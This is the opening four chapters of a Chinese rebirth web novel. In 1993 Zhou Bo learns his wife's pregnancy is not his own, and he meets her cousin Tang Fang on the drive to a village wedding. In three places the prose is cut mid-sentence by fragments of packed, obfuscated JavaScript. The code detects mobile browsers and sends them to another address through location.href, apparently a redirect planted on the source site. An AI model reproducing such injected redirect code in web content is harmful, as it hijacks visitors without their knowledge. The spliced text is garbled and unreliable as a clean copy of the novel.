《九零土味爱情》 1. 第 1 章 日暮降临,周家村的小道上是扛着锄头回家的人,衣衫老旧,黄黑的脸上卷起褶皱,见到田埂上的周勃笑着出声。 “周勃,你怎么在这儿站着,太阳下山了蚊子可多了。” 周勃脸上挂着笑,朝来人看去:“二伯叔,就是好久没回来了,在这儿站站,你怎么这么晚才回来啊!家里二伯娘怕是都做好饭了。” 他今天刚回来,身上的白色衬衫还没换下,西裤将他的腿衬得有两米八,头发敷贴,洁白的脸和村子里时常劳作的人搭不上边。 二伯叔手在后腰上擦了擦汗泽,对周勃抬手时露出袖口的手表目露羡慕,他不知道这表是什么牌子,但不妨碍他买不起。 谁都知道,周山妹家的周勃是个顶顶有出息的人,人在海城做了大老板嘞! 就算这大老板是后辈,二伯叔也不敢摆长辈的架子,他笑得憨厚,“饭你二伯娘肯定是给我留了,你也别站了,媳妇儿应该也在家等着呢!” 不说媳妇儿,周勃心情还能好些,他面上笑容淡了淡,和二伯叔又简单聊了两句家常。 “她怀孕了,我姑在家里做饭呢。” “哟!这么快就怀了啊!那你赶快回去吧,这么长时间没见着媳妇了都!” “嗯好,我等会就回去……” 送走了二伯叔,周勃脸上的笑容终于消失了,他穿的西装革履,脚下却踩着一双老拖鞋。 老拖鞋不知在这儿站了多久,边儿上蹭的全是田埂周的泥土。 周勃将捏的皱巴巴的烟扔到肆意生长的草里,又从口袋里掏出扁了一半的烟。 烟盒上赫然标着两个字——中华。 这是之前结婚时候买的,现在还剩一盒,他给顺出来了。 今天是周勃回老家的第一天,也是他从三十多年后重生的第一天。 谁也想不到,老天爷这么会开玩笑,他只是眼睛一闭一睁,就出现在回乡的火车上。 93年6月,这时候他刚结婚三个月,在海城时接到姑姑电话说媳妇怀孕了,衣服都没换,兴冲冲花高价买了回家的车票。 只是,这时的他不知道,在车上睡一觉,芯子换成了三十多年后的他。 媳妇怀孕本该是让人兴喜若狂的好事,周勃怎么也开心不起来。 他有无精症,这是医生亲口说的。 一口烟在口腔中久久环绕不断,最终随着主人的长叹一泻千里。 周勃蹲在田埂上,昂贵的西装裤几处烦躁的褶皱,他揉了揉鼻梁,到底是什么时候知道妻子出轨的呢? 回忆的画面在他脑海一幕幕浮现。 生的孩子越长大越不像他,村里人暗地里的指指点点,妻子逐渐放开手脚的肆无忌惮,以及那份标注着没有血缘关系的亲子鉴定。 都像一个个耳光“啪啪”的扇在他脸上。 好叫他知道,自己这么多年来一直白白给人养了多久的儿子。 怪不得儿子怎么都和他不亲,周勃眯着眼睛吞云吐雾,嗤笑一声,知道自己不是他亲爸又怎么会亲呢? 有的人,越是平静越是崩溃,多少次夜里辗转反侧,最终选择平静的接受。 他和李丽华离了婚,亲眼见她满脸笑容拉着儿子奔向奸夫的怀抱。 说不痛心是假的,谁能想到本以为会一直扶持到老的妻子会成为在你心口上捅刀子的罪魁祸首? 周勃不想这么快回去,他又从烟盒中抽出根烟,烟雾缭绕如同瘴气沉甸甸压在人心底。 放空脑袋,周勃想起家里的妻子,三个月的小腹已经微微隆起,难怪当时相亲完了后要急着结婚,到头来是奉子成婚。 总是“自视甚高”的自己,有朝一日也成了让自己鄙夷的“老实人”吗? 周勃一直日落西山才草草掐灭了烟火,小臂上是好几个蚊子蜂拥爱怜的证据,他手指一挠,起了好几个疙瘩。 等他回到家里,两个女人已经吃好了饭。 昏黄的灯泡下,姑姑的影子斜斜长长,她一见到周勃的身影,立马眼睛一亮,小跑上前一巴掌拍在周勃肩膀上:“你怎么这么晚才回来!” 周勃眉头的川字被这“慈爱”的一巴掌拍散了几分,他嘴角不自觉噙着笑:“干嘛干嘛!小姑你怎么在院子里,大热天不怕被蚊子咬了。” 周山妹狠狠瞪了周勃一眼,“怎么才回来啊!” 周勃道:“你们吃饭了就行,别等我。” 一听这话,周山妹没好气道:“那我们肯定是不可能等你的!” “那你在院子里干什么?”周勃摸摸鼻子。 周山妹凑上前,“丽华不是怀孕了吗,这几天都想吃点酸的,我腿脚不好,你回来了明天赶早去给她买点。” 周勃从小被周山妹带大,当然知道她这个腿脚不好的毛病,这是当年背着年幼的他到县里看病留下的,当时山路难走,又下着雨,硬生生摔了一跤。 要是当下回去养个几天,腿也没啥毛病,姑姑怕自己真给烧糊涂了,咬牙一瘸一拐走了接近两小时才到。 这一走,至此给她留下一辈子的伤疤。 原本看好的人家,因为她走路慢瘸又带着个侄子,当天把婚退了。 周勃亲眼目睹,表面上姑姑一言不发总说这没什么,大不了以后她自己养侄子,可周勃知道,她始终迈不去这道坎。 她不喜欢出门,更不喜欢见陌生人,因为总觉得人在笑话她走路奇怪。 周勃轻轻的将周山妹推进屋里,“知道了!你先进去吧,新白娘子传奇要开始了,你不是最喜欢里面的白素贞了吗?” 周山妹顺着他的力道回屋,这电视剧也就晚上看看,他这么一说,周山妹顿时想起来,一拍脑袋:“哎哟!差点给忘了,也不知道白素贞救没救下许仙!” 见小姑人着急的去开电视,周勃失笑,救肯定是救下了,他轻轻带上房门。 小姑住的屋子在堂屋的左边,他和李丽华住在右边,右边的屋子后来翻修过,比左边大了一倍,屋子里也安着电视机。 这年头正是夏天,他之前还想过给屋子里按个空调。 现在他不想了。 周勃不是个冷血的人,但也不是真的想做接盘侠。 他打算趁着这一个星期在家里,和李丽华摊开了说明白,婚是肯定要离的,至于她肚子里的孩子,她愿意要就生,不愿意就打。 再怎么也是那个亲生父亲该关心的事。 冷静的周勃拿上换洗的衣服,在院子里简单冲了个冷水澡。 屋子的李丽华早就睡过去,侧着身子躺在床的另一侧,留出一大片空地儿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434415|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 转动的风扇发出刺耳的铲风声,像是个。 周勃没开灯,他躺在靠在的床侧,两只眼睛在漆黑的房间中闪亮。 黑漆漆的天花板,身旁身躯传来的热气以及时不时吹来点热风的吵闹电风扇都清清楚楚、明明白白的告诉周勃。 他真的重生了。 重生在了他结婚的第三个月,刚刚得知妻子怀孕的时候。 睡梦一闭眼袭来…… 早上周勃醒来时,床上的人已经起床,他见怪不怪。 李丽华有喜欢的人,甚至愿意为了他生下孩子,自己这个接盘侠怎么可能讨得她的欢心。 简单洗漱了脸,周勃昨晚上答应了小姑的事自然不会食言。 他从架子上拿下衬衫和长裤,穿好就朝着县城而去。 这时候的市场比十几年前要宽松太多,大多是小摊贩卖,各个大叔大妈背着背篓、挑着竹担清早来到集市。 混杂着各种味道的集市此时人声鼎沸。 周勃目标明确,很快买了两斤李子和一斤排骨。 想到小姑喜欢吃海带,他又买了两斤海带。 他百无聊赖在市场上逛着,鬼使神差,竟又拎了两瓶雪花啤酒。 磨磨蹭蹭到10点多。 太阳照得人火辣辣,像被人抽了两个巴掌,周勃眯起眼睛,开始等待回去的公交车。 让他心梗的是。 等了差不多有一个小时,也没见有车子来。 一个大妈也在等,眼见没车来,慌了。 “怎么等了这么久也没来啊!” “不会是不来了吧!” 有人解释:“今天师傅中午不来了!人家里吃酒,就跑早上那两趟。” “啊?!” 此话一出,大妈肉眼可见的急了,脸上的褶皱皱成一团,汗水顺着壑沟直直往下淌。 “那可能办啊?不能让走回去吧,这家里还有孩子等着吃饭呢!” “要嘛就等下午,下午有车来,不然就找人顺回去呗……” 周勃没在听后面人的提议,路边没个遮挡的地方,烫得慌。 他找了个遮阴地儿,一颗大树底下,巨大的树干从坛子生长而出,茂密枝叶将树底围成绝佳的避暑胜地。 不少人和周勃一样站在树下。 大多是等车的。 有人消息灵通,知道车来不了,提着东西迈开步子就走了,这种是离家近的。 剩下离家远的人开始打主意,三三两两在路边拦车,想搭伙儿回去。 周勃不急,他将东西放在坛子边,从烟盒中抽出根烟,点着了开始吞云吐雾。 这不是急不急就能解决的。 他给家里安的有电话,实在回不去,打个电话就成了。 一很烟燃到手指,他不紧不慢将烟火在坛子上摁灭。 思索着在哪儿有电话可以借着打打时。 “哔——,哔——” 鸣笛声从路边传过来,见周勃没往这儿看,声音又响了两遍。 周勃远远看过去,那是辆皮卡。 男人一只手掌着方向盘,一只小臂横在车窗外,似龙似虎的纹身盘踞在那只外露的小臂上,离得远也有种让人生畏的煞气。 这是个黑|涩|会? 2. 第 2 章 周勃不记得自己有认识黑|涩|会的时候。 不过这人显然是等自己的。 周勃拎着东西缓缓上前,走近了,他才发现这人面孔有点眼熟。 电光火石之间,一幅幅画面从他脑海闪过。 这人是李丽华的堂哥! 那个让李丽华很是讨厌的堂哥。 周勃简单打量了下坐在驾驶座的男人。 人长得很帅,短发薄唇,剑眉,皮肤小麦色,有种电视剧男主的感觉,特别是那双丹凤眼,眯着眼看人时拽拽的。 若是穿着校服,再稚嫩些,可能更讨女孩子欢心。 可惜的是,他穿着个白色背心,露出结实肌肉,再配上手臂上的纹身,倒是让人不敢多看一眼。 这是年轻帅气的坏人? 与此同时,唐放从驾驶座上看着从不远处走过来的人,手拎着好些东西,他眼神好,还能看见俩啤酒上的牌子。 穿着白衬衫和西裤,从容不迫的样子和周围格格不入。 他的眼睛看向人的脸,皮肤洁白,看着挺好看,目光下移,最终停在对方脚上,有些意外。 穿着人字拖? 脚也白,脚上的青筋随着主人的走动一隐一显,有点劲瘦。 人走近了,唐放收回视线。 周勃扫了眼两边,偷瞄的人很多,大概率是想蹭车,但看到驾驶座这人手臂上的纹身,都不敢过来问。 没等唐放说话,周勃自顾自的从另一边打开车门。 上车、关门、拉安全带。 一气呵成。 正要说话的唐放:“……” 周勃看了他一眼:“走吧。” 车开上路,周围的一切倒退。 唐放眉眼轻挑,轻哼一句:“直接上来,不怕我开车带你进沟里?” 周勃掏出烟盒,抽支烟递给他:“应该是我小姑叫你来的吧。” 等对方接过烟,周勃收回手,唐放将烟刁在嘴里,看了眼神色淡淡的周勃。 “周姨在帮忙,知道今天公交车不开,正巧我出来,叫我带上你回去。” “奥。” “谢谢了。” 唐放道:“不客气,再怎么也是我堂妹夫。” 此话一出,周勃拿烟的手一顿,不知道他是不是在嘲讽自己。 还记得结婚前夕,李丽华给他抱怨过自己这个堂兄,“这个人也就长得人模狗样,要不是我堂叔他们供他上学,他能上完高中?结果还恩将仇报,现在弄得大家都好不了!” 他忘了自己当时怎么说的了,大概率是附和。 结果拐角就碰到了正主,不知听到了多少。 周勃当时只是讪讪笑着,朝他点点头后,追着李丽华走了。 “对不住。”周勃清咳两声道。 唐放:“?” 周勃:“就是之前,她说你的事,我没搞清楚。” 这个她指的是谁,不言而喻。 唐放将嘴中的烟抽出,“奥,你说的是那事。” 他反应过来,好像确实有这么个事儿。 唐放表情平淡:“没什么,又不是只有她说。” 周勃手一抖,烟灰落在大腿上,他赶紧用手拍拍,尽管动作快,西裤上还是起了灰点子。 一条西裤穿着给人的感觉怎么样,和它的质量以及纯粹的颜色有很大关系。 很明显,这条西裤穿去工作是不可能了。 周勃皱起眉,看向专心开车的唐放:“有水吗?” 唐放抽出瓶矿泉水递给他,他瞅见了周勃裤腿上的灰点子,那么点大小,还要用水洗,哪个男人不是穿着穿着得了。 觉得这人有些矫情儿,唐放没说话。 回去的路面不平,周勃的手像得了帕金森似的哆哆嗦嗦,好不容易倒点水,车轮滚进个坑,大片水渍啦落在他大腿上,湿了一片。 不少往里渗,周勃感觉包着自己的那点内裤都有湿塌塌的感觉。 过了大坑,唐放不经意瞄见,乐了:“尿裤子了?” 周勃看向唐放,这人嘴巴不带遮掩,他不好说什么,将水还给他,不敢动,怕水把他屁|股都浸|湿,这水渍看着是真不雅观,有点气。 “有擦的没?这都是那水干的好事。” “没,你问问那水能不能麻溜点,自己做的事儿自己负责。” 唐放瞥了眼面色平静的周勃,他身边的朋友都属于咋咋呼呼,要遇到这种状况,保不齐就要脱裤子了,这么平静的倒少。 “你摸摸后座,我记得有纸。” 周勃伸手去摸,纸没摸出来,反手勾出条裤衩,紫色的,不知道多少天没洗,酸臭味扑鼻,他心中更气了。 “这就是你说的纸?” 唐放一时无语,低声咒骂:“艹!陈牧那家伙又在我车上睡觉!” 他有个哥们儿,叫陈牧德,长相普通,喜欢唱歌睡觉,更喜欢在他车上睡觉!m的,还不穿衣服,美其名曰刺激。 “唉唉唉!这不是我的!你别往这儿扔啊!” 唐放一手打方向盘,一手无比嫌弃的将裤衩子七甩八甩。 哪个男人会喜欢同类的裤衩子?还tm是腌入味儿的,他反手就扔回去。 周勃脸绿了,头上的紫色布条散发出刺鼻味道,让他几欲作呕,再也忍受不住的破口大骂:“你tm也别乱扔啊!md,自己的内裤自己还嫌弃!” “谁说是我的!” “md,不是你的,哪个娘们穿四角裤?!” “多了去了!” 下车后,一个踩着拖鞋的身影狂奔而来,长相普通,比周勃稍稍矮些,顶天了20岁上下。 陈牧德原本脸上的喜色,看见车上下来的两人都臭着脸后,心里咯噔一下。 “放哥,咋了你们这是?” 他一说话,唐放的脸更臭了,“把你的东西拿走!下次要在敢在我车上睡觉,小心我抽你!” 唐放本就有种唬人的气势,脸臭着更让人不敢啃声,陈牧德将脸上的裤衩子扒拉下来,“唉!不是,哥,你这把我裤衩子拿下来干嘛!我下次还要穿呢!” 就这?还穿? 不止唐放,周勃心头也是无语,没见过这么邋遢的人!关键你那裤衩子都有味儿了,还穿呢?这是生怕自己没早点去见太奶。 唐放更是直言不讳:“你穿穿穿,穿你大爷呢?这多久没洗了,这么大热天,你也不怕得病!” “这能得啥病?放哥,你别瞎说啊!” 陈牧德也要面子,坚决不承认自己的错误,唐放懒得和他争,放出狠话,“行,你以后别在我车上睡!” “不是,放哥……” 陈牧德很是忧伤,他特喜欢在车上睡觉那感觉,闻着那汽油味儿,就像睡到了女人似的。 见他苦恼,周勃上前安慰:“没什么,你放哥只是不喜欢,你把脏东西扔他座位上,下次睡觉不穿内裤不就行了嘛。” “是哦。” 陈牧德转念一想也是,抛下周勃,快步跟上唐放的步伐。 一旁在酒席帮忙的周山妹看到人,走过来,十分好奇:“你们刚才站着说什么呢?怎么见唐放生气的都走了?” 周勃自然不会说在车上的事,他随口乱说:“没什么,就是他发现自己穿错内裤了,有点生气。” “这内裤都能穿错啊?” “主要是认出来了,没认出来就还好。”周勃口渴,从人高的大缸中尧出瓢水,咕噜咕噜喝起来,细小的水流顺着下巴滑下脖子,打湿衣领,他皮肤天生就白,裸|露的喉结上上下下,不知道挑动多少姑娘的心。 有大妈啧啧道:“唉呀!山妹,你家侄子到底是怎么长的!又帅又有钱,这么有出息!” “是啊是啊,不像我家那个混小子,一天没个正形!” “有对象了没啊?没对象我给介绍个!” “你可别说了,人结婚办酒的时候,你还在那儿洗菜嘞!” “啊?”这位蠢蠢欲动的大妈立刻讪讪闭嘴。 周山妹听着周围大妈夸自家侄子的话,嘴巴都要笑歪了,周勃可不敢和这些大妈在一起说话聊天,回答一句,人能把你这两天拉没拉屎,在哪儿拉的都给问出来。 一边新娘那儿的姑娘也在叽叽喳喳嗑着瓜子,看着周勃的眼睛都要冒出红星了。 “周勃长得真好看,可惜就是结婚了。” “唉,对啊,你们说咱村里那些男的咋一个个的,长得跟虫蛀了的西瓜苗似的,又挫又蔫。” “也有好看的,唐放嘛不是!” “可他看着太凶了,万一打女人嘞!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434416|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……那我也愿意,总比被丑的打好些。” “……”站她身旁的姑娘十分无语:“可别听她瞎说,谁找个打老婆的男人啊,两条腿的男人多得是。” “就是嘞,长得丑,要还脾气不好,非得把他腿打折!”周家村的姑娘就是这么霸气! …… 陈牧德追上唐放的步子,“唉!放哥,刚才和你一起下来的人谁啊?” 唐放瞅他一眼,不想理他。 “我看着那人挺不错的,可以交个兄弟。”陈牧德笑嘻嘻。 “别了吧,那人矫情的很。” 陈牧德来了兴趣:“咋说?” 唐放停下脚步,眉毛一挑,“你一天天的没事儿做了是吧,人是李丽华老公,不怕挨骂,你就往上凑!” “李丽华老公!!” 陈牧德目瞪口呆:“娘的,这哥们咋那么倒霉,就娶了李丽华那娘们!” 唐放暼他一眼:“人乐意。” 陈牧德拍了拍自己摸了蜜的小嘴:“瞧我说的这话,真该死!放哥,别往心里去啊!” 他们对姑娘是很宽容的,特别的几个大老爷们都没讨到老婆的情况下,除开李丽华那娘们,真的是一张嘴到处造谣,今天能说放哥是捡来的,后天就能说他是石头里蹦出来的! 笑话,要真从石头里蹦出来,那不齐天大圣了嘛!这过年都要祭拜的!放哥可承受不起! 酒席是村里人嫁女儿,不少在村子里的人都过来帮忙,这个年代,村里都是哪家有事儿哪家帮,周勃刚回来,人都不熟,只能看着一群围在一起的老大爷打牌。 三个老大爷都下到结尾了。 “四个三,炸弹!怎么样,不要吧!” 这大爷是地主,嘿嘿一笑,反手掏出四个二。 四个三的大爷气得手抖,撂下狠话:“我就不信了!嘿!你今天要能赢,我让我儿子去你家做上门女婿!” 此话一出,地主大爷顿时无语,他家黄花大闺女可不能让猪拱了!赢吧又怕人来真的,到时候他老婆铁定抽他,输吧,也没输钱。 地主大爷,颤颤巍巍扔出个四。 最终农民凭借狠话翻身作东家。 周勃在一旁看得嘴角止不住上扬,一看就知道这大爷心理活动不知道滚了几圈。 陈牧德正找他爸呢,一看人果然在打牌,“爸,你怎么还打牌啊!” 自从赢了,这四个三大爷嘴角就没下去过,他一拍陈牧德肩膀,笑得活像只大橘猫:“唉!没白生你小子!还是有用的!” 周勃差点一口水喷出来。 陈牧德一脸懵逼,“不是,爸,你忘了咱今晚上要开车去和佳佳过去啊!”咋还打牌呢!自家老爸啥德行他会不知道,怕到时候又是他开一晚上的车! 大爷顾左右而言他:“哎呀不就是开车吗?我给你找个人代替我过去!” “这都还有谁啊!年轻点儿都出去了!” 陈牧德也是满脸委屈。 大爷眼睛四处扫了一圈,周围的老大爷心中一紧,连忙道:“唉!别看我啊!” 大爷投过去一个鄙视的眼神,最终落在周勃身上,眼睛一亮,“唉!你是山妹家的小伙子是吧!看着就像会开车的样儿,这样,今天晚上辛苦一下,就帮忙开车,拉着人跟着新娘一起过去就行!” “咱再怎么也多个小伙子,不能让南方家那边看不起喽!” 周勃对给自己安排的这活儿满是懵逼,他怎么就看了会儿打牌,这就给安排上了? 周山妹知道了倒是觉着好,她早就觉得自己侄子和村里关系不太亲,这下也能拉近拉近关系。 “你去吧,开车小心点!东西什么的,到时候我给丽华做!” 周勃面部僵硬:“你别做了!又不是非得吃个肉,别累了自己。” “做个肉怎么算累!我自己不吃啊!”周山妹怒气道,她也想吃好吧! “……” 晚上,唐放看着面前这个和上午打扮差不多的男人,白衬衫,西裤,奥,西裤好像换了条,脚上的人字拖也没了,成了黑皮鞋。 “怎么回事儿?”他看向正一脸笑的陈牧德。 陈牧德将前因后果简单复述。 唐放深吸一口气,他也不是多么斤斤计较的人,冲周勃点点头,“上车吧。” 3. 第 3 章 人刚要上车,陈牧德偷摸儿拉住唐放,“那啥,放哥,有个事儿想和你商量商量! “你那皮卡不是还要给拉些东西过去吗?我寻思着,反正也不需要多少人,要不今晚上,你俩凑合凑合得了!” “你不去了?”唐放挑眉。 陈牧德笑得满是猥琐,“嘿嘿嘿。就是她们伴娘那一车,还差个人儿,这不就差个我了吗,周梅也在车上呢!” 周梅,这是周家村的村花,陈牧德心心念念,晚上做梦梦里头都是她,这可是他的初恋! 唐放:“……” 他也知道陈牧德这孙子的性子,朝他挥挥手,示意他可以滚了。 陈牧德笑呵呵,也不生气,麻溜的滚蛋了。 唐放坐在驾驶座上,摇着手杆把车窗降下来,里面一下午没敞风,一片闷热,周勃坐进来像进了蒸笼似的。 没等发车,车窗敲响了。 陈牧德快去快回一脸苦瓜相,“哥,我回来了,她们车坐满了。” “不是缺一个嘛?” “有个人上去了,我不好说。” 唐放:“你脸皮都能刷锅底了,还能让人上去?不会把人拉下来吗?” 说到这个,陈牧德更委屈了:“是佳佳,哥你能把她拉下来嘛,我给你钱。” 佳佳,周佳佳,也是这场婚礼的主人公之一,她是新娘,想在车上和好姐妹说说话,大好日子就得顺风顺水。 唐放没话说了,放陈牧德上车。 知道晚上要开车,他们之前睡过一觉,现在还挺精神,风顺着车窗飞进来,打在人脸上,拍散了夏季的闷热。 因着和这两人不熟,周勃很少说话,也不知道说什么,就算重活了一世,他自认为年纪比他们大上一轮不止。 原先在后世就和年轻人有代沟,现在怕是更如此了。 不知车开了多久,陈牧德突然说:“唉,周勃哥,听说你是在海城那边当了大老板,这是真假啊?” “不是什么大老板,接了个房地产相关的活儿而已。” “唉!那不和放哥差不多吗?!搞了半天你们是同行啊!” 唐放听着陈牧德惊喜的声音:“什么同行,人搞房地产开发的。” “啊!”陈牧德不解的挠头:“那不一样吗?” 周勃看向漆黑的窗外,没说话,当然不一样,他知道唐放是干嘛的,包工头。 在后世没有钱途的包工头,现如今可是个香饽饽的职业,在人们还为着生计奔波的年代,包工头们已经靠着搞工程大赚特赚,人人开上豪车住上别墅。 严格来说,他这种房地产开发也算是他们的甲方老板。 周勃从裤兜里掏出烟盒,“抽支烟精神一下。” 车里没姑娘,也没那么多讲究,三个人抽烟想抽就抽了。 周勃见唐放嘴里叼着烟,没点,考虑到他两只手都在方向盘上,好心问了句:“给你点上?” 车里的灯光昏暗,唐放本就是个嫌弃麻烦,除开上工时候,整个人都懒懒散散,昏暗的灯光下,他整个人偷着股慵懒狂放劲儿,特别是那双丹凤眼,斜着看人的味道,绝了。 脖子修长,背心露出的肌肉饱满却不夸张,不似健身房练出的那种夸张到膨胀的肌肉,仿佛一戳就能爆出汁水来。 相反,这种紧致干练的肌肉线条感明显,一看就是干活儿干出来的。 贴着手臂的麒麟纹身,更多了些让人赞叹的味道。 若是有姑娘在这儿,不得直接尖叫出声,化作飞蛾扑上去。 这一下让周勃胸中闷热平复了不少。 他还是询问的样子,似乎在等唐放的回答。 唐放瞥了眼周勃,不得不说,这人长得确实不错,模样周正,皮肤是坐办公室里闷出来的白。 他不自觉往下扫了眼,黑漆漆的皮鞋完全融入座位底下,没来由让他想起早上看到的脚。 唐放很喜欢看人脚,这是周围人都不知道的事儿。 因为他表现的不明显,只是在见到人后会下意识朝对方脚看一眼,丑的他只随眼一扫,漂亮的也只在他心头留个印象。 像陈牧德这类,普普通通,他不会再关注第二眼。 一般来说,只有姑娘的脚能称得上漂亮,但周勃的脚,怎么说呢,很难评。 越想,那双脚在他脑海中的记忆越是清晰,那是一双一看就知道是男人的脚,比起女人的精致小巧,更多了份独属于男人的力量感。 洁白的皮肤上,青筋如同青绿色的点缀。 这样一双脚怎么长在了李丽华老公身上。 唐放轻轻点头,一双丹凤眼微微眯起,稍稍低头,骨节分明的手指尖火花绽放,他只简单一吸,将刚才的想法抛之脑后。 周勃甩甩手腕,收起打火机。 陈牧德在身后嘟囔,声音像个刚出笼子的鸭子:“我放哥就是牛,开个车也有人点烟,真不知道以后便宜了哪个小姑娘!” 此话一出,周勃有点诧异:“他还没对象?” 这不可能啊,按道理有钱有颜的人再怎么缺也不可能缺对象啊,况且唐放看着模样,不像是缺对象的样子。 说起这个,陈牧德一脸恨铁不成钢,“哥,你可别说了,再说我都要替人小姑娘感到不值了!” “……仔细说说。” 唐放清咳两声,从后视镜递个威胁的眼神过去,陈牧德不为所动,可以说八卦之心已经让他把自己的生死置之度外。 他大倒苦水。 “那不是有次有个姑娘对放哥有意思嘛,人都找到我这儿来了,要我帮忙介绍,他可好,人姑娘请看电影,他看个电影又带了个哥们过去,人姑娘脸都绿了,那哥们一看姑娘的脸色瞬间明白了咋回事儿,刚想着要走,这姑娘就递了个话匣子过来,说口渴,原本就是人去买水,一下解决皆大欢喜,你猜怎么着?” 周勃适时的问怎么了。 陈牧德憋了半天,“结果放哥说,没事,他正好口渴,丢下两个人跑外边买水去了!” “噗——”周勃没忍住,沉默片刻后笑出声,“后来呢?” “后来那姑娘就和留电影院里的哥们结婚了,去年结的婚,专门给我俩包了两大红包。”陈牧德郁闷的难以复加,“这还没完呢!” 周勃惊了,这都还有,唐放这家伙情商这么低的吗? “还有一次,也是人介绍的姑娘,本来是好好的,人姑娘一看放哥的模样就喜欢上了,就想着处处吧,逛个街就放手了!” “……” “你猜咋分手的?人姑娘看着其他小情侣亲亲我我,想和放哥亲近些,就说她鞋带松了,这意思够明显了吧!要是我我tm能用舌头给那鞋带打上365个结!” “结果当时放哥脸就臭了,把人姑娘吓得大气不敢出,逛完街就红着眼眶说他俩不合适。” 周勃笑得嘴角都压不下去,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434417|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脑海中已经浮现出画面了,只能眼睛看着窗外,靠在座椅上的肩膀都还在抖。 唐放看了眼乐不可支的周勃,人笑成那样,他竟也不觉得恼怒,只是有些好笑,这都这么好笑吗? 他只是不想找对象而已,偏偏又有老多人给他介绍这介绍那。 陈牧德说的这两个都是他实在拒绝不来才去的,至于后面那个系鞋带,他个大老爷们不要面子的嘛? 唐放淡淡道:“笑这么久了,差不多得了啊。” 周勃艰难维持住自己的脸,“他说的都是真的?” 唐放:“……” 陈牧德说完了八卦,这时候不敢冒头了,做个鹌鹑,缩在唐放座椅后边,后视镜都看不见他人。 周勃还是忍不住,噗嗤一声,“哈哈哈哈哈……” 唐放:“……”手痒了。 坐车上聊天抽烟,果然是男人最能增进友谊的方式,经过陈牧德这么搅和,周勃对这两人的陌生感消退了些许。 车开了有三个小时,换周勃开了,刚开始还有些不熟悉,车是手动挡,不过他以前也开过,很快就上手了。 陈牧德这家伙歌唱的不错,在车后座扯着嗓子嚎唱。 “……今天只有残留的躯壳~迎接光辉岁月~” “风雨中抱紧自由~” 一生经过彷徨的挣扎~,周勃手放在方向盘上,一边跟紧前面的车,一边不自觉在心中哼唱。 一股复杂之情窦然在他心中荡漾。 在后世时,每在ktv唱这首歌,拥有的只是怀念,这就像是一个标志,一个标签。 标志着他的过时,标志着属于他的时代已经终结了,标志着他也回不到过去的时代了。 年轻人们唱的歌他不懂,话筒到他时,这首经典的曲目永久不烂。 如同烙印,刻在他的骨子上。 年轻人们听着歌,对着他的年纪不觉得诧异,反倒是会对同年人选老歌惊奇不已,“唉!想不到你喜欢老歌啊!看不出来啊!” 而他总是平静的坐在一旁。 那个年纪的他早已有了地位,加上年纪,没人会对他不尊敬。 时间久了,连自己也觉得自己老了。 他就是这么年纪了,这是首过时的老歌,老人就该唱老歌嘛! 没人觉得不对,或者说,人人都是这样。 都说男人至死是少年。 他好像都忘了,自己曾经少年时是什么模样,重复着相同的日子。 可这一刻,这首鲜明的歌曲是那么的清晰,这是一首属于年轻人的歌。 从没有那一刻让他这么清晰的知道。 他真的重生了! 他真的回到了93年,这时候他还年轻,他才21岁,他有着无数可以改变未来的机会! 周勃的嘴角压都压不下,身体开始随着歌曲轻轻晃动,声不可察的歌声从他喉间哼出。 “年月把拥有变作失去~疲倦的双眼带着期望~” “今天只有残留的躯壳~~~” “引进光辉岁月~~” 似乎听到了周勃的声音,陈牧德嚎叫得更大声了!手上还卷着不知道哪儿来的一本书充当话筒,唱得如痴如醉。 唐放面对此情此景,只在陈牧德破音时用手堵住耳朵,“小声点!” 面对周勃嘴角的笑,他抽抽鼻子,干脆闭上眼睛,不管了。 两个疯子! 4. 第 4 章 清晨,一行车队停在马路边休息。 早上雾气浓密,在车窗上结下细密的水祝,周勃勉强坐直身体,摇下车窗,就是一股扑面而来的冷气,让他打了个哆嗦。 天气就像老天爷的脸,阴晴不定。 这时候才五点多,太阳没升起,路上是凉快,周勃轻声下车。 因着雾气重,路边靠栏上露珠凝结,周勃呼吸一口气,都有不少雾埋进嘴里,他看了眼四周,车队停了一路,也有人在车里坐久了出来走走。 他们皮卡车后边一个车里走过来个人,给周勃递支烟,笑道:“哥们,你们昨晚上唱歌不错啊!” “那声儿,差点就以为是原唱了首!我们车里都跟着唱起来了!” 周勃笑笑:“不是我,我们车上有个麦霸,声音又高又亮。” 两人站在靠栏边儿,又寒暄了会儿,唐放从后座上下来了,他长得高大,现在两人身边高出一截儿。 这时候人都喜欢交朋友,谈恋爱崇尚自由恋爱,交朋友自然也受到不少电影的影响,都讲究一个义气,唐放的长相气质一看就有种让人想结交的冲动。 这哥们顺时眼睛一亮,“这就是你们车上唱歌那个?” 